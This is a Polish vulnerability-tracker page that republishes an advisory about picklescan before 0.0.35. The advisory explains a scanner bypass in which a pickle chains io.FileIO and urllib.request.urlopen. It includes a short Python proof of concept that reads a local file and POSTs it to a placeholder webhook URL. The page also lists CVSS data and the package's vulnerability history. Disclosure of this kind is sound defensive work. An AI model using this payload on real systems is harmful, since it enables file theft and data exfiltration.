Wysoka

picklescan has Arbitrary file read using `io.FileIO`

  • Ujawniono: 08.01.2026
  • Aktualizacja: 11.10.2026 13:18

Summary

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

  1. io.FileIO: Opens local files without using builtins.open.

  2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

  3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

PoC

python
import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)
<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />

Impact

  • Arbitrary file read

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) picklescan < 0.0.35 0.0.35

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Słabość (CWE)
CWE-22, CWE-918
Platforma
Python (PyPI)
Paczka
picklescan
Ujawniono
08.01.2026
Aktualizacja
11.10.2026 13:18

Źródła i licencje

OSV / GitHub Advisory Database - PYSEC-2026-1787 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-9726-w42j-3qjr - CC BY 4.0

Historia podatności: picklescan

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (58) w archiwum
Wszystkich wpisów
58
Pierwsza → ostatnia
02.2025 03.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 7
  • Wysoka 25
  • Średnia 26

Ujawnienia w latach

  1. 2025: 51
  2. 2026: 7
Istotność:
  1. Krytyczna · 9.8 CVE-2026-56315 < 1.0.4 1.0.4
  2. Krytyczna · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. Krytyczna · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. picklescan has Arbitrary file read using `io.FileIO` ten wpis
    Wysoka · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  5. Wysoka · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  6. Wysoka ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  7. Wysoka CVE-2025-71320 < 0.0.33 0.0.33
  8. Wysoka · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  9. Wysoka CVE-2025-71321 < 0.0.33 0.0.33
  10. Krytyczna · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Pokaż więcej (12) Widać 20 z 32

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.